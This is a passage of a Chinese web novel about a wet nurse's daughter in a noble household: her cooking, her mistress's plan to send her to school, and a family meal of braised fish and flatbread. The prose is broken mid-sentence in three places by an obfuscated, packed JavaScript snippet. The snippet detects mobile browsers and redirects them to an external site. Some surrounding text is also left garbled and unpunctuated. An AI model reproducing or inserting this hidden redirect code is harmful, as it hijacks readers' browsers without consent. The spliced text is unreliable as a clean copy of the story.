吃完点心崔如英又去小厨房了。这几日她不在都是赵大娘和王大娘忙活今儿看到崔如英还很是欢喜“崔小娘子过来了。” 崔如英道：“大娘你可知有厨娘擅做灌汤包的轻轻咬个口就能喝汤。” 赵大娘：“这我就会做崔小娘子也听过？” 崔如英道：“我家做包子听人说过那今儿先包灌汤包包好之后别蒸我留着有用。” 灌汤包和生煎包法差不多但是做法不一样赵大娘会她就省事儿了。 除了生煎崔如英还想加个别的生煎配疙瘩汤又不合适了疙瘩汤太过浓稠吃包子又不能不喝汤想着生煎吃多了油腻她问赵大娘“三娘子这会儿可能吃辣？” 李嬷嬷问过大夫如今不用喂养小公子恢复了几日更能下床走路只要不是太辣的就成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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崔如英道：“娘，陈娘子拽着我胳膊，几乎是提着我到三娘子那儿，把我吓坏了，她怎么那样，拽的我可疼了。若非她做的太过，我哪里会说和三娘子说那些，我只是替娘不值，明明都一退再退百般忍让了，陈娘子还那般……” 崔如英知道，若是一味说陈娘子坏话，许娘子还会为陈娘子说话。索性装装可怜，人都走了，反正不会再回来了。 自己的女儿和一个外人，许娘子又是疼孩子的，哪里会为陈娘子说话。 许娘子心里有些愧疚，把女儿抱在怀里，“没事儿了，没事儿了。” 崔如英仰头看看许娘子，“没事，陈娘子也走了。娘，你一定得好好做事，千万不能像陈娘子一样，家里我常回去，二姐也能照顾好六丫的。” 许娘子：“本该如此。” 想起陈娘子的家事，许娘子还有些唏嘘，都是孩子，儿子还大些，咋能光喂儿子不管女儿呢。 这些话许娘子埋在心里，谁也没说。 许娘子还要去照顾小公子，出来歇会儿看看女儿，马上就得回去了。 燕归堂总得寻个新奶娘，府里就这么大，陆云蓁打发了人走，全府上下自然都知道。 大房赵婉芝找的人不成，她自然面上无光。 可是再丢人，面上功夫也得做足了，赵婉芝差人给燕归堂送了不少礼物，知道陆云蓁在坐月子，再加上生产那日过来随后陆云蓁就早产了，虽然陆云蓁没和人说过，但能躲着就躲着。 今日人未到，只派了丫鬟传话说识人不周，望弟妹莫要怪罪。 除此之外，赵婉芝还去了正院，又和钱夫人举荐了几位奶娘，燕归堂缺奶娘，不管这人三房用不用，她心意尽到就是。 得让钱夫人知道，她是好心，结果陈奶娘办事不利，和她可没关系。 做完这些事，赵婉芝也懒得出门了，摇着扇子在屋中想东想西，她心中倍感惋惜，一为三房多个儿子，二为陈娘子被赶出府。 如果是陈娘子没出事，她倒可以慢慢谋划谋求日后，这小儿多病多灾，夭折长不大的多了去了，哪怕是在侯府，身边有奶娘丫鬟照顾，也是如此。 春天忘了关窗，那就是一场风寒。 二房只有一个女儿，三房的儿子眼下就得公爹喜爱，长此以往，那大房可就完了。 庶长子既不占身份，听说三弟在朝中也得看重，她怕因为云小娘得到的几分怜惜喜爱，有一日被消耗殆尽了。 赵婉芝嫁进来有几年了，生了一儿一女，大爷还有一个庶子一个庶女，年纪还小。 长子已经十四岁了，嘴甜没用了，是该钻研功课。 赵婉芝最庆幸的是三房孩子还小，启蒙也得三五年后了，二房的闺女养得娇，什么都不会，相比之下她的女儿娴静，儿子纵然有些纨绔捣蛋，可比起来还是好的。 女儿也该启蒙了，多在侯爷面前露露脸才是。 * 陆云蓁不缺东西，这些直接让锦月收进库房了。 陈娘子既已送走，这事儿也和夫人说了，在陆云蓁这儿就算翻篇了，她都没和楚庚元多说什么，只说陈娘子办事不周，给打发了。 楚庚元听完也不意外，说道：“奶娘再寻就是，现在就剩一个奶娘，多给些赏钱，也能尽心些。” 陆云蓁点点头，“这个我心里有数，今儿是想和你商量另外一件事，今日发现陈娘子办事不周还多亏了许娘子的女儿，她才七岁，说话有理有据的，也不会害怕慌神，这样的孩子总市井也是耽误。” 楚庚元道：“你是想……” 作者有话要说 第 23 章 应允读书 第23章应允读书 陆云蓁道：“大房的女儿马上就要启蒙了,我想着让许娘子的女儿也去学堂读书，读书可以明理，女儿家多念些书是好事。最主要的是我瞧着她聪慧,夫君可知,她只听过她兄长念书,就能记下来几句。 说起崔如英时,陆云蓁眼中多了几分柔和，今日之事没有崔如英,她发现不了的。 万一日后真害了璋哥儿,为时晚矣。 楚庚元想了想，说道：“也无不可，她若愿意去读书，也是一桩好事，此事就由着你的心意吧。 陆云蓁刚生下孩子，只是让身边的人读个书,钱夫人不会不允。 陆云蓁道：“多谢夫君。 夫妻俩双手交握,有了孩子,两人之间也更亲近了。 长房姑娘生辰在四月份,得过了生辰再启蒙,还有些时日呢，陆云蓁不急，总之答应了崔如英的事她会做到。 白日里发生的事说了，心一松下，肚子也饿了,陆云蓁道：“行了,用晚饭吧,等着你呢。 有了孩子后,楚庚元回来总会早些，陆云蓁都是等着他用晚饭。 本来也想先尝尝，要知道她早就想吃了，可大房又来人，又差人去正院说话，也就耽搁了。 楚庚元道：“我也饿了。 丫鬟下去传饭，很快，楚庚元就看见丫鬟们端上来几碟包子，还有两碗汤，一看竟是汤粉，闻着酸辣扑鼻。 除此之外还有小菜酱菜几样，配以粥食蒸点，怕的是楚庚元吃不惯这些。 陆云蓁道：“这是崔家的包子，你尝尝，跟上回的不一样。 她瞧了瞧，小巧的煎包摆在长型的青瓷碟子里，上头芝麻葱花点缀，玲珑别致。 汤粉是用棕色釉下彩的大碗盛的，颜色棕褐，闻着倒香，上面葱花和花生摆得极其好看。 陆云蓁轻轻吸了一口气，好香。 今儿杂事繁忙，到了晚上才能歇下，这股酸辣之味，让陆云蓁头目清明。 陆云蓁先喝了口汤，微烫，酸辣开胃，味道却不是那么重，辣味也禁得住。她用筷子挑了柱粉丝，吃到嘴里嫩滑不说，那酸爽味道，勾人得很，让人还想子啊吃。 唯一美中不足的是，吃这个稍不注意粉丝就从筷子中间滑下去，要顾及仪态，得小心翼翼，还怕带着红油的汤溅到衣裳上。 楚庚元从没吃过这样的饭菜，除了有碍仪态，其余都好。 粉条滑得很，筷子夹不住，他见陆云 蓁也吃得费力，夹到的还没到嘴边就全滑了下去。 这样两次，便抿着唇，样子不大高兴。 有孕数月加上坐月子，吃还不尽兴，楚庚元便道：“你我夫妻，痛快着吃就是了。” 说罢，微微低头，就着碗吃粉，声音也大，仪态全无。 陆云蓁笑了，她喜欢这样，夫妻之间不用顾及什么。 大口嗦粉更爽快，酸辣开胃，陆云蓁不由想起刚有孕时害喜，那会儿什么都吃不下，就想吃酸辣的，若是有这些，想来当初就不必受苦了。 但现在吃也不晚，花生米没有太硬，油辣子香得很，原本是要尝尝崔家的新包子，可吃了好几口粉陆云蓁才想起来。 包子，还有包子呢。 包子样子小巧，陆云蓁看了就喜欢，她咬了一口，没想到竟然和灌汤包一样，里面是满满的汤。 汤汁绵密浓稠，包子上卖弄是酥脆的，却不硬，底下的皮发软，陆云蓁觉得这个味道也好。 看着酸辣粉，陆云蓁突然想到另外一种吃法，她把生煎的汤吸完，把包子当勺子，舀了酸辣粉的汤，再喝汤，酸辣不说还有肉香。 楚庚元看她这样不由发笑，“巧也妙也，崔家有这样的手艺，不愁发家，娘子莫要过分为崔家小娘子担心。” 心灵手巧，家里有独门手艺，陆云蓁顾念情分帮扶一二就够了。 陆云蓁如此不过是担心崔如英在崔家，穿不得好衣裳，读不得书，明明聪颖盈伶俐却珍珠蒙尘，平白给埋没了。 可楚庚元却觉得崔家夫妇本分老实，又有个聪明孩子，日后家中必然发达，且看来日。 * 崔如英自是不知夫妻俩说了什么，她晚上也吃的酸辣粉，许娘子待了一刻钟就回东屋照顾璋哥儿了，她自己吃晚饭，今晚怕是也得自己睡。 酸辣粉生煎包，小菜是开水白菜，高汤浇的，味美鲜甜。 酱菜数样，有的崔如英也叫不上名字，还有猪肉烧饼、棋子烧饼各两块。 崔如英发现给她送的东西是真多呀，白日还送来一盘杏仁酥，一盘蜜饯桂圆，加上没吃完的烧饼，都三盘子了。这么多东西自己实在吃不完，崔如英只能给家里带回去，明日怕是不成，后日可以回去一趟。 崔如英觉着，她回家不仅许娘子高兴，就连陆云蓁也会高兴。 谁都不会喜欢一个见了繁华富贵就迷了眼睛，家都不顾的姑娘。假如她顾念家中，陆云蓁只会比许娘子更愿意。 陆云蓁喜欢她，是因为她年纪小，会 哄人所以才喜欢。 所以崔如英也不求别的她也想常回家看看。 许娘子夜里没回来次日一早许是哄完小公子了许娘子才回来睡了一会儿。 睡了也就一个时辰秋月就过来说小公子醒了得许娘子过去照顾。 许娘子脑子还有些不清楚人却已坐了起来对着屏风外头道：“秋月姑娘我一会儿收拾收拾就过去。” 等秋月走后她晃晃脑袋 许娘子脸上露出一个笑来“也就这几日辛苦等来了新的奶娘就不像如今这般了。这个月咱家能拿不少银子呢我估摸着得十几两。” 这个月月钱三两加上赏银和得的喜钱二两这就是七两银子。何况这个月还未过完家中生意多了下午的生煎每日也能拿个六七百文。 这个月怕是能有十几两许娘子面色发红崔家这个月赚的都赶上往常一年赚的了。 许娘子心里有一股劲崔大山不怕累她也不怕能多赚些银子最好谁知道以后什么光景。 许娘子也怕包子生意不成了。 崔如英眼睛一亮“娘你可真厉害快喝口水。这回只有你一人越是这个时候越是得照顾好小公子没准儿还能有赏钱呢。” 许娘子道：“好好照顾是尽了本分我也不是为了赏钱。行了白日夜里娘都不在你别乱跑要听话些。” 崔如英点点头把许娘子送到门口有了银子自然好城南的铺子一个月租金也就几两银若是能盘个铺子家里肯定能卖更多包子。 就算赚不了更多可是有个铺子风吹日晒都不怕了。 这是早春顶多担心天不好下雨若是入了夏晨起蒸包子卖包子又热又难熬。加上秋冬风冷雪冷做生意受苦受累有个铺子肯定比没有强。 只不过许娘子本分惯了肯定宁愿守着银子过安稳日子也不愿意开铺子冒险。 崔如英记着家中最有钱的时候是她出生之后靠许娘子去做奶娘一个月有些月银家里孩子还少吃穿用度花费少日子好过。 然后就是四郎出生之后那时候家里日子最好因为许娘子赚的多可是如今的日子已经比那会儿好过太多。 一天赚的钱就能顶崔大山一个月的月钱。 在城南住着的谁家一个月能攒十两银子。不过依许娘子的 性子，这样赚着钱，闷声发财就是。 到时候给崔大郎置办一处城南的房子，日后慢慢卖包子，四郎五郎也不发愁。 她也去伯爵府做过奶娘，哪怕如今在侯府，也不会羡慕别人的日子。 家里孩子多，听话懂事，安稳踏实的日子对许娘子来说比什么都强。 崔大山嘛，听许娘子的，所以崔如英只要把许娘子劝住了，就行了。 崔如英在府里待了两日，二十四这日吃过中午饭，跟李嬷嬷一说了一声就回家了。 这都三月下旬了，天气越发暖和，昨儿稀稀拉拉下了一日雨，今儿早上天才放晴。 崔如英见着周边草木更绿，若是昨天城南也下雨，家里肯定出不了摊儿。不过也能趁机歇歇，连着这么多天从早干到晚，大哥和二丫还是孩子呢，就是崔大山，铁打的身子也熬不住。 崔如英到家已经过了未时，别人家这会儿要么在睡觉，要么在巷口说话，有点田地的赶着开春种地，唯独崔家烟囱冒着烟，崔大郎跟两个孩子正在做包子。 崔大山不做木工，以后木柴也得花一笔钱。 二丫在灶上熬猪皮冻，崔大山力气大，专管和面剁馅儿。 大朗添柴火，不时回屋看看六丫，六丫出生快两个多月了，长得很快，早晚两顿奶，崔如英偶尔还带羊奶回来，其余配着米糊糊和蛋羹吃，也挺壮实的。 这会儿爱抬头，小孩三个月左右就能翻身了，怕突然会翻身掉下去，所以得时常看着。 崔如英在门口喊了一声，崔大山眼睛先笑的，“三丫回来啦，今儿咋下午回来的。 崔如英道：“城北下雨来着，爹，今天早上城南没下雨吗？ 崔如英背着个行李包裹，里面装着点心羊奶，还有二十文私房钱，这钱是走到哪带到哪儿。 崔大山道：“就昨儿早上下了，下午就停了，今天早上还出摊着呢。 崔如英问：“四郎五郎呢？ 崔大山：“他俩出去瞎跑，抓虫子去了。 这会儿虫子比刚开春的时候还多，两人一出去就是一下午，等太阳落山才回来，回来之后喂鸡看着妹妹也闲不住。 崔如英把包裹放到东屋床上，忍不住拉了拉六丫小手，“那不等他们了，我带回来点心了，你们尝尝。 除了点心，还有昨晚没吃完的肉烧饼，至于前几天没吃完的，早进了崔如英肚子。 一直留着，不得留坏了吗。 点心有枣泥核桃山药糕、杏仁酥、和葡萄蜜 饯。杏仁酥和葡萄蜜饯是昨晚刚给的，味道也不错。 杏仁酥是烤过的千层酥上面撒了好些杏仁酥片，吃起来很香嘴巴。 葡萄蜜饯就是葡萄干儿，不过又大又甜，跟街上买的不一样。早先送来的桂圆蜜饯的崔如英已经吃完了，那个泡水喝也好喝。 二丫高兴妹妹这回带东西，也不是说多馋，就觉得三丫惦记着家里。 可崔大山却忍不住问了句，“都是三娘子给的？ 崔如英点点头，“那可不，爹，三娘子还挺喜欢我的，我在府里吃的挺好，你们快尝尝，好些呢，我还给六丫带了瓶羊奶。 崔大山道：“那敢情好，不过你自己吃就行了，别总往家里带。 总这样侯府该有意见了，对三丫也不好，觉得没见过好东西。 崔如英点点头说了声好，这也不怪她，每次帮忙做些吃食，陆云蓁心里总会过意不去，过意不去就会想给她拿东西。她不是下人，自然不会给银子，所以点心果子总往屋里送。 她吃不完总不能扔了吧，只能带回家。 二丫想等四郎五郎回来再吃，崔如英直接把枣泥山药糕塞她嘴里，“这么多呢，给留两块就行了，非得等着作甚。 就是崔大山和许娘子总这样，所以二丫也这样。也是家里穷，要是东西多了，哪里还在乎谁吃不到，给留两块得了。 细腻的糕点连糖都没放，入口是枣泥自带的甜香，山药有些药味，很绵软，样子也好看，是朵花儿的形状。 嚼着嚼着就能吃到核桃仁儿，还是剥过皮的，混在山药中，一点涩味都没有。 二丫把点心咽了，见妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764371|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着问自己，“好吃不？ 二丫点了点头，“你吃过吗，别光给我们留着。 崔如英道：“早就吃过了，带回来给你们尝尝。 要说没吃过，崔如英不是那样的人，要说吃不完才带回来，何必呢，万一多想点，觉得这是剩的，还费力不讨好。 二丫笑了笑，把点心吃完。 包子活儿暂且放到一边，崔大山和崔大郎也尝了尝。 崔如英带回来的都是好东西，也是近几年崔家不常见的，家里孩子多，就是崔大郎今年也不过十三岁，虽然听话懂事，可是也就比弟弟妹妹大几岁，嘴馋谁能忍得住。 崔大郎尝了块杏仁酥，咬上一口直接掉渣，这么酥脆。 崔如英笑了笑，“我去弄包子，你们吃会儿。对了，中午吃的啥。 二丫道：“韭菜炒鸡蛋！ 家里院子的韭菜冒出来了割了一茬炒了鸡蛋用的还是上回崔如英做红烧肉剩的猪油把韭菜切碎打在蛋液里炒出来可香了。 崔如英就说鸡蛋在崔家算荤菜可在侯府蛋羹都是素菜。 不过从之前什么都舍不得吃到现在舍得吃鸡蛋也算是不容易了。 说起来崔大山还有点心疼家里人多六丫要吃蛋羹大郎他们一人一个还不够十文钱十一个鸡蛋买来的 真是半大小子吃穷老子。 崔如英道：“也成可又好几天不吃肉了爹给点钱吧明儿咱们吃肉。” 崔大山抿了抿唇在心里叹了口气摸出来三十文。 他虽然盼着三丫回来可这丫头回来一次吃得顿肉吃一顿就是三十文钱没准儿还不够。 果然崔大山听女儿道：“这么多人呢再给点儿多的我再退给你。” 崔大山又摸出来六文这是按照三斤五花肉给的“省着点儿花。” 明儿吃啥崔如英还没想好但钱得先要了。 崔大郎和二丫眼里透出几分高兴来既欢喜于明儿吃肉又高兴妹妹回来了。 三丫能常回来二丫就高兴。 六丫还小也不好跟哥哥弟弟玩二丫现在是越来越喜欢妹妹盼着妹妹天天回来。 崔大山给了钱就想把钱赚回来吃了一块点心就开始忙活包包子昨儿下了雨早上没出摊就少赚些。 生煎包现在只卖城东那边三斤多的肉馅儿从太阳快落山卖到天黑都是崔大山跟二丫去不过比早上出摊儿赚得多。 下午能做二百多个包子多是十文钱给四个这么卖的把城东转悠完包子也卖完了回来数钱抛去本钱能有四百多文。 崔大山以前做木工一个月就拿五百文。 钱匣子现在已经满了许娘子不在家他都怕有贼进家。 所以晚上都是留大郎在家四郎五郎也不让出去乱跑。 崔如英回来能帮帮忙崔大山他们也能轻巧点儿。 今儿崔如英不打算去城西一来就这么多包子分开城东肯定就不够了。若是直接去城西这城东才卖几日最起码得今儿过去的时候说明儿不来才行。 做生意客人最要紧说一声总比不说好万一吃着好吃明儿还想来空跑一趟没准儿以后都不来了。 崔大山还在用大锅煎包子崔如英看着道：“爹明儿去铁匠铺子打个平底铁锅 吧，煎包子好用。” 铁价贵，一个平底铁锅差不多要五六钱银子，不过崔大山还是点点头，做生意的东西，该买。 有崔如英在，收摊也早，父女三人出门早，回来天还没全暗下，月色朦胧，崔如英转进巷口，看着家门口四郎五郎正蹲着等着。 一个大点一个小一点，两个萝卜头凑在一起。 崔如英看他们似乎听见动静，抬头看了过来，“三姐！你们回来啦！” 两人拔腿就跑，朝着崔如英跑了过来，五郎说话还不大利索，但四郎直接抱住崔如英的腿，仰着头邀功了，“三姐你可回来，我好想你三姐，你咋不等我就去卖包子了，你要告诉我，我也能跟你一起卖，跟着吆喝！” 五郎：“三姐！点心可好吃了！” 二丫瘪了瘪嘴，“行了行了，快回去吧，累一天了。” 四郎直接把扁担上的篮子接过来，“二姐，我俩提就行，水也烧好了，点心还有好多呢！六丫也乖，下午没哭，还把奶喝了。” 崔如英不禁笑了笑，这俩纯纯狗腿子。 到家之后就着油灯吃了点心，往日只吃些红薯，但有点心就先吃这个，不然时间久了也坏了。 崔大山煮了两个鸡蛋，家里也就这点好东西，不管女儿在侯府吃得有多好，一回来家里的东西也想拿出来。 崔如英吃了个煮鸡蛋，又吃了块枣泥核桃山药糕，很快就梳洗睡下了。 次日一早，崔如英起得早，不过她起来没管包包子，更没跟着去卖，而是逛了逛早市。 说了吃肉就得吃肉，早起的鸟儿有虫吃，这会儿不管是什么肉，都新鲜着。 顺着街一路看过去，除了有卖肉和菜的，还有活鸡活鸭，混着人声，一条街热闹非凡。 更有晨起运来的鱼，在铁盆里，还游得欢呢鱼比鸡鸭猪肉便宜，鲫鱼四文一斤，鲤鱼贵一些，五文钱一斤，鱼摊旁边围着的人不少，崔如英也忍不住在挤进去看了看。 这鱼长得真好，好大一条，鱼头也大。 上次吃鱼还是在侯府，清蒸的一条，那是和鸡鸭不一样的味道，家里都好久不吃鱼了，崔如英忍不住上前道：“老板，我要那条大的，多抖抖水，现在就杀了。” 老板用铁钩钩住鱼嘴，一称六斤二两，“一共三十一文。” 崔如英道：“一文抹了吧，下回还来你这儿买鱼。” 清蒸固然好吃，可她想吃大鱼泡饼了。 作者有话要说 今天三更结束~ 第 24 章 启蒙 第24章启蒙 摊主也爽快,抹了一文钱，等收了钱，就埋头刮鳞收拾内脏。 鱼之大,一锅炖不下。 崔如英记着许娘子坐月子的时候,崔大山也买过鲫鱼。大人巴掌大小,跟豆腐一块炖汤喝,鲫鱼价钱便宜，以崔大山的厨艺炖起汤来味道也鲜美。 只不过她只尝到一小口,这回鱼这么大,终于能吃个过瘾了。 等摊主收拾好鳞片内脏，连着鱼鳔鱼泡啥的，崔如英提着全给带走了。 早市上人来人往，吃早饭的，出来买肉和菜的，路过包子摊儿,生意还算红火。 崔如英没急着回家,路过肉摊时又割了半斤五花肉。因为鱼多瘦肉,不像猪肉有肥膘,若是干炖也行,但总差了几分香味儿。 而五花肉油脂多，吃起来香，所以一会儿炖鱼的时候放到里面，炖出来的鱼汤也会更加浓稠，适合泡饼吃。 回到家中,崔如英把鱼放到厨房。 二丫本来看着妹妹,就等崔大郎回来抱着去喝奶,结果先等到三丫,一看这么大条鱼，眼睛都亮了，“咱们中午吃鱼呀！” 崔如英点了点头，“我先去给洗洗。” 鱼泡鱼肝能吃，鱼鳔崔如英打算做成花胶，这也是不可多得的食材，慢慢晾着攒着，以后肯定有用。 其余能吃的内脏一并洗干净，炖着吃就成了。 鱼大，崔如英也不打算往里面放菜，今天就光吃鱼。也不蒸米饭馒头，就吃饼，这可不是许娘子以前烙的那种大饼，加点红薯面玉米面，油也少，大是大，但吃着干巴巴噎人。 崔如英今天就用白面，这要想大鱼泡饼好吃，一在鱼汤，鱼炖得越香，泡饼才越香。二在饼，饼金黄酥脆，这样泡了汤后才会外酥里软，里里外外等吸足了汤汁，饼的油香带着鱼肉的香味，真叫人回味无穷，哪怕不吃肉，光吃饼也能吃几块儿。 不过这样废油，崔如英看了看家里的油罐子，都没下去多少，崔大山做饭省油。 油不多放，做菜哪儿能好吃呢。 把香料找找，厨房收拾收拾，崔大山父子俩也卖完包子回来了。 想着中午吃肉给了不少钱，今儿包子都没往家里拿，卖得一个不剩。 崔大山还进来看看买了啥肉，得知买了条鱼还挺高兴，对他来说，鸡鸭鱼都是肉，反而鱼肉更便宜。 买三斤猪肉的钱能买五六斤鱼呢，家里孩子多，吃别的舍不得，吃鱼他能多吃几口。 就是鱼肉没那么香不过有肉吃还挑啥呢。 爷俩吃了锅里的红薯大朗就跟二丫去带着妹妹去喝奶了。 一时半会儿回不来崔大山又要刷竹屉崔如英就把中午饭全揽了下来。 鱼太大剁成了四段鱼段比整条的好煎也好炖。然后要把鱼皮上的粘液洗干净做出来没有土腥气。 五花肉为了能出油切成了小薄片下锅一炒等肉煎金黄捞出来崔如英一看肥肉已经变得晶莹剔透了。 剩下的油崔如英也没再往油壶里倒为了吃起来香还多舀了勺猪油。 接下来就是煎鱼了直接下锅鱼皮大抵会破崔如英把鱼的几面都拍上红薯粉大块的鱼肉下锅香味很快就出来了。 崔大山在外头刷着锅刷着刷着动作顿住鼻子吸了吸他好像闻到香味儿了。 锅大鱼大只人小煎鱼的时候鱼皮还是不可避免地破了一点儿不过自家吃也不在乎好不好看好吃就行了。 鱼炖在锅里煎好之后连着五花肉也放进去再放上蒜葱姜片辣椒等物前几样主要为了去腥而辣椒桂皮等香料则是增香之用。 炉子上烧着热水等崔如英把酱油调料等倒进去用大铲子翻炒均匀之后滚烫的热水哗啦一声全进锅里等锅再开就可以盖子锅盖小火慢炖这大鱼泡饼中的大鱼就不用崔如英再操心了。 家里的大锅包容性极强不管是红烧肉还是炖小鸡都能炖得下只要有耐心等上一个多时辰就能吃到一顿丰盛的午餐。 大鱼还得好一阵崔如英歇了会儿打算一会儿做饼。 这饼也有讲究。 饼要层数多就得放油崔如英想用葱油和面的时候用葱油调点油酥一层一层抹进去裹好擀平饼就能有好几层到时候虽不见葱花也能吃到葱的香味儿。 为何不用葱花那是因为葱花容易糊。 这饼不像鸡蛋饼那般薄在锅里转两下就行了鸡蛋饼有了葱花颜色翠绿好看还增加口感吗了但烙饼不一样烙饼的时间长最外面的葱花时间久了就糊在饼皮上黑黢黢的。 和面揉面擀饼等二丫他们回来崔如英面已经把面和好了先醒醒一会儿抹油酥。 二丫闻着香味进来 鱼还能这么香。 崔如英道：“对呀先慢慢炖着一会儿再烙饼中午咱们就吃饼子。” 闲着的功夫崔如英把鱼鳔洗干净拆开用夹子 挂在牵条上，二丫把妹妹抱进屋，撸起袖子准备烙饼，抹油酥够呛，但是她可以烙饼。 家里还有口铁锅，架在炉子上用这个烙也成，不过要是有平底锅肯定更好用。 崔大郎一言不发地坐在灶膛前头，火小更需要人盯着，六丫现在睡着了，他管烧火就是。 太阳越来越高，巷子里各家各户也都开始烧饭了。 城南巷子一直都热闹，尤其到了中午，外头玩耍的孩子也都往家跑了。 从前崔四郎只有羡慕别人的份儿，别人家的饭香，还有肉，那会儿五郎更小，看着别人家吃好吃的一直咽口水。 现在崔家卖包子，半个酱肉包都能让别的孩子给抓半天虫子。 四郎总觉得家里的鸡长得比别人家的快，都不用饲料，每天光吃虫子都够了。 临近中午，四郎又背着小竹篓回家了。 今天出门早，为的就是能早点回来。 三姐昨儿回来跟爹要了钱，今天少不了吃好吃的，虽然前两天吃的韭菜炒鸡蛋也挺香的，不过没有三姐做的肉好吃。 巷子里的玩伴儿神色要么羡慕，要么如以前五郎一样忍着咽口水。四郎心里暗爽，终于轮到他家吃肉别人看着了。 回到家，四郎没急着去厨房，而是先带着五郎洗手把脸上手上的泥土洗干净，三姐爱干净，洗好之后，这才闻着香味进屋。 四郎：“三姐，今天中午吃啥？ 崔如英道：“吃饼子。 已经烙好几块了，烙好之后就在外面放着，能更酥更脆。 为了方便吃，她让二丫把饼切成小块，薄脆的饼皮，香软的饼瓤。 四郎看那饼颜色金黄，不禁道：“三姐啊，这饼都看着这么好吃了，锅里的是不是更好吃？三姐，你真是最好的姐，回来又给我带点心，又做这么好吃的给我吃。二姐你也好，我快给你们捏捏。 二丫道：“别捣乱，还得烙饼呢。 崔如英让四郎捏了两下，然后支使弟弟去薅两根小葱。 炖了好一会儿了，饼也做熟了，一会儿大火收个汁，就能开饭了。 大郎在这坐了小半天，除了偶尔进屋看看六丫，就盯着灶膛里的火，天有些热，他额头鼻尖都出了不少汗。说实在的，在这坐着实在煎熬，热就不说了，香味还一阵一阵的。 让崔大郎想起从前家里有些小钱的时候，那会儿隔段时间就能吃到肉。 若是娘也在就好了，一家人一起吃。 崔如英算着时辰，“大哥， 差不多了，锅盖儿给掀开吧。 崔大郎让妹妹躲远点儿，锅盖掀开热气腾腾，然后就是翻涌而出的香味。 崔如英眯了眯眼睛，她觉得这味道有些霸道，因为一直是小火，所以汤没见少太多，四大块鱼段堆在汤中，一切辣椒段香料做了点缀，还有些五花肉片在汤中起起伏伏，晶莹剔透好似下一刻就要化了。 锅里除了肉还是肉，不像前两次炖五花肉和鸡肉，还有鸡蛋和土豆这些。 加了五花肉，让这锅鱼添了几分香味。 汤的颜色是褐黄色，鱼被煎焦的皮这会儿已经泡得很软了，有些地方露出染成褐色的鱼肉，看着就好很入味儿。 崔如英尝了尝汤汁的味道，现在有些淡，不过还得收汁呢，“大哥，加把火。 几把柴火添入灶膛，锅又飞快地开了上来。 今儿做饭早，午时饭就熟了了。崔如英先盛出来一碗，泡了些饼，让二丫给刘婶儿家送去。 给人送东西，都是拿好的送，二丫这会儿说了话，跑回来家里也开饭了。 一人一个大碗，饭桌中间摆着一大盆鱼。 饼子就放在盘子里，谁吃谁夹，崔大山直接拿了张大的，舀几勺子汤，把饼往鱼汤里泡，鱼汤热饼凉，吃起来正正好。 鲤鱼有刺，但跟鲫鱼比起来却不算多。 崔如英把饼泡进汤中，等到里里外外都浸了汤汁，这才吃了口饼，外酥里嫩不说，汤中的些许辣味恰到好处，再尝口鱼肉，小火慢炖容易入味儿，没有土腥味，只有鲜嫩。 鱼是崔如英看着杀的，新鲜极了，肉也是一瓣一瓣的。 她本想问问味道如何，看一家人埋头苦吃，这也不必问了。 崔大山吃得口大，鱼刺直接给嚼碎了，不过孩子小，他分心给五郎挑挑刺，四郎就不必了，但看他狼吞虎咽，崔大山伸手照着四郎脑袋就是一巴掌，“慢点，别卡了刺。 四郎舔了舔嘴巴，“爹，这也太好吃了，真香啊！这个饼不泡汤都好吃，干吃好脆！ 崔大山想，三丫去侯府，能学到不少东西，不过这孩子也聪明，这才几岁，就能做这些了。 崔大山这一顿当真是吃饱了，饼可劲儿吃，鱼头最后也让他给啃了。 鱼头大，就着饼吃也香，桌上六口人，最后吃的只剩下鱼汤了，这汤明儿还能泡饼子吃一顿。 至于里面的五花肉片，炖得时间久，跟红烧肉差不多，早就吃完了。 吃过饭就犯困，不过还得刷锅做生煎，崔大山睡了 一会儿就去忙活了。 昨儿卖生煎的时候也跟客人说了今儿不去城东就直接往城西走。 东西比城南富庶人也多有了在城东卖的经验在这头也顺顺利利。 在这边卖的时候同样说了明儿不来毕竟这包子也不算便宜日日都来买的少隔一日吃一次别人也能记着。 明日再去城东可以多做些估计都能卖出去。 两边各一日到时候开了铺子回头客肯定多城北崔如英还不打算去世家大族有厨子大抵不吃这些的。 丫鬟侍卫虽然有银子却不会常出来。 在家待了一日多崔如英明儿也该回侯府了次日一早蒸包子的时候崔大山还煮了几个鸡蛋在灶膛烧了两个红薯好留着崔如英回去的路上吃。 家里也没啥好东西鸡蛋是前几天买的补身子炒着吃每天给六丫吃个蛋羹怕女儿回去的路上饿崔大山一下煮了三个也是很舍得了。 崔如英也没拒绝笑着说了声爹你真好就背着水壶和鸡蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临近正午，秋月进来，却没送饭，而是对她们道：“许娘子，崔小娘子，三娘子请你们二位过去说话。” 许娘子愣神，请她们过去，难不成是做事没做好？ 崔如英看了许娘子一眼，赶紧道：“秋月姐姐，我和我娘收拾一番就过去。” 今儿三月二十六，离月底没几天了。 崔如英想，难不成发月银，可等过去之后，却不像是这事儿。 月钱李嬷嬷发就是了，哪儿用特地见一面。 陆云蓁坐月子也十天了，身子恢复得不错，以往见陆云蓁都是靠坐着或是躺在床上，现在穿得整齐，只头发披着，在罗汉床上坐着。 见二人过来，喊了声锦月，锦月便搬来矮凳给二人坐。 许娘子行了个礼，“见过三娘子。” 